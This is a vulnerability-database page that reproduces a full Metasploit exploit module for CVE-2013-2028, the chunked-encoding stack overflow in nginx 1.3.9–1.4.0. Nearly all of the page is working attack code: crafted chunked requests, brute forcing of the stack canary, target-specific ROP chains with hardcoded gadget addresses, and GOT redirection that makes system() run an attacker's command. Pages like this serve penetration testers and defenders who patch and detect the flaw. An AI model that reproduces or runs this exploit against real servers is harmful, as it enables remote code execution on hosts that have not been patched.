Lucene search
K

Nginx HTTP Server 1.3.9-1.4.0 - Chuncked Encoding Stack Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 68 Views

Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow. Exploits stack buffer overflow in nginx 1.3.9 to 1.4.0 by triggering integer overflow in ngx_http_parse_chunked()

Code

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

  include Exploit::Remote::Tcp

  def initialize(info = {})

    super(update_info(info,
      'Name'           => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.
        The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by
        supplying an overly long hex value as chunked block size. This value is later used
        when determining the number of bytes to read into a stack buffer, thus the overflow
        becomes possible.
      },
      'Author'         =>
        [
          'Greg MacManus',    # original discovery
          'hal',              # Metasploit module
          'saelo'             # Metasploit module
        ],
      'DisclosureDate' => 'May 07 2013',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2013-2028'],
          ['OSVDB', '93037'],
          ['URL', 'http://nginx.org/en/security_advisories.html'],
          ['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'BadChars' => "\x0d\x0a",
        },
      'Arch' => ARCH_CMD,
      'Platform' => 'unix',
      'Targets'        =>
        [
          [ 'Ubuntu 13.04 32bit - nginx 1.4.0', {
            'CanaryOffset' => 5050,
            'Offset' => 12,
            'Writable' => 0x080c7330, # .data from nginx
            :dereference_got_callback => :dereference_got_ubuntu_1304,
            :store_callback => :store_ubuntu_1304,
          }],
          [ 'Debian Squeeze 32bit - nginx 1.4.0', {
            'Offset' => 5130,
            'Writable' => 0x080b4360, # .data from nginx
            :dereference_got_callback => :dereference_got_debian_squeeze,
            :store_callback => :store_debian_squeeze
          } ],
        ],

      'DefaultTarget' => 0
  ))

  register_options([
      OptPort.new('RPORT', [true, "The remote HTTP server port", 80])
    ], self.class)

  register_advanced_options(
    [
      OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]),
    ], self.class)

  end

  def peer
    "#{rhost}:#{rport}"
  end

  def check
    begin
      res = send_request_fixed(nil)

      if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m
        return Exploit::CheckCode::Appears
      elsif res =~ /^Server: nginx/m
        return Exploit::CheckCode::Detected
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("#{peer} - Connection failed")
    end

    return Exploit::CheckCode::Unknown
  end

  #
  # Generate a random chunk size that will always result
  # in a negative 64bit number when being parsed
  #
  def random_chunk_size(bytes=16)
    return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join
  end

  def send_request_fixed(data)

    connect

    request =   "GET / HTTP/1.1\r\n"
    request <<  "Host: #{Rex::Text.rand_text_alpha(16)}\r\n"
    request <<  "Transfer-Encoding: Chunked\r\n"
    request <<  "\r\n"
    request <<  "#{data}"

    sock.put(request)

    res = nil

    begin
      res = sock.get_once(-1, 0.5)
    rescue EOFError => e
      # Ignore
    end

    disconnect
    return res
  end

  def store_ubuntu_1304(address, value)
    chain = [
      0x0804c415, # pop ecx ; add al, 29h ; ret
      address, # address
      0x080b9a38, # pop eax ; ret
      value.unpack('V').first, # value
      0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
    ]
    return chain.pack('V*')
  end

  def dereference_got_ubuntu_1304
    chain = [
      0x08094129,         # pop esi; ret
      0x080c5090,         # GOT for localtime_r
      0x0804c415,         # pop ecx ; add al, 29h ; ret
      0x001a4b00,         # Offset to system
      0x080c360a,         # add ecx, [esi] ; adc al, 41h ; ret
      0x08076f63,         # push ecx ; add al, 39h ; ret
      0x41414141,         # Garbage return address
      target['Writable'], # ptr to .data where contents have been stored
    ]
    return chain.pack('V*')
  end

  def store_debian_squeeze(address, value)
    chain = [
      0x08050d93,              # pop edx ; add al 0x83 ; ret
      value.unpack('V').first, # value
      0x08067330,              # pop eax ; ret
      address,                 # address
      0x08070e94,              # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
      0x41414141,              # ebp
    ]

    return chain.pack('V*')
  end

  def dereference_got_debian_squeeze
    chain = [
      0x0804ab34,        # pop edi ; pop ebp ; ret
      0x080B4128 -
      0x5d5b14c4,        # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
      0x41414141,      # padding (ebp)
      0x08093c75,        # mov ebx, edi ; dec ecx ; ret
      0x08067330,        # pop eax # ret
      0xfffb0c80,        # offset
      0x08078a46,        # add eax, [ebx+0x5d5b14c4] # ret
      0x0804a3af,         # call eax # system
      target['Writable'] # ptr to .data where contents have been stored
    ]
    return chain.pack("V*")
  end

  def store(buf, address, value)
    rop = target['Rop']
    chain = rop['store']['chain']
    chain[rop['store']['address_offset']] = address
    chain[rop['store']['value_offset']] = value.unpack('V').first
    buf << chain.pack('V*')
  end

  def dereference_got

    unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])
      fail_with(Exploit::Failure::NoTarget, "Invalid target specified: no callback functions defined")
    end

    buf = ""
    command = payload.encoded
    i = 0
    while i < command.length
      buf << self.send(target[:store_callback], target['Writable'] + i, command[i, 4].ljust(4, ";"))
      i = i + 4
    end

    buf << self.send(target[:dereference_got_callback])

    return buf
  end

  def exploit
    data = random_chunk_size(1024)

    if target['CanaryOffset'].nil?
      data << Rex::Text.rand_text_alpha(target['Offset'] - data.size)
    else

      if not datastore['CANARY'] == 0xffffffff
        print_status("#{peer} - Using 0x%08x as stack canary" % datastore['CANARY'])
        canary = datastore['CANARY']
      else
        print_status("#{peer} - Searching for stack canary")
        canary = find_canary

        if canary.nil? || canary == 0x00000000
          fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to find stack canary")
        else
          print_good("#{peer} - Canary found: 0x%08x\n" % canary)
        end
      end

      data <<  Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
      data <<  [canary].pack('V')
      data << Rex::Text.rand_text_hex(target['Offset'])

    end

    data << dereference_got

    begin
      send_request_fixed(data)
    rescue Errno::ECONNRESET => e
      # Ignore
    end
    handler
  end

  def find_canary
    # First byte of the canary is already known
    canary = "\x00"

    print_status("#{peer} - Assuming byte 0 0x%02x" % 0x00)

    # We are going to bruteforce the next 3 bytes one at a time
    3.times do |c|
      print_status("#{peer} - Bruteforcing byte #{c + 1}")

      0.upto(255) do |i|
        data =   random_chunk_size(1024)
        data <<  Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
        data <<  canary
        data << i.chr

        unless send_request_fixed(data).nil?
          print_good("#{peer} - Byte #{c + 1} found: 0x%02x" % i)
          canary << i.chr
          break
        end
      end
    end

    if canary == "\x00"
      return nil
    else
      return canary.unpack('V').first
    end
  end
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation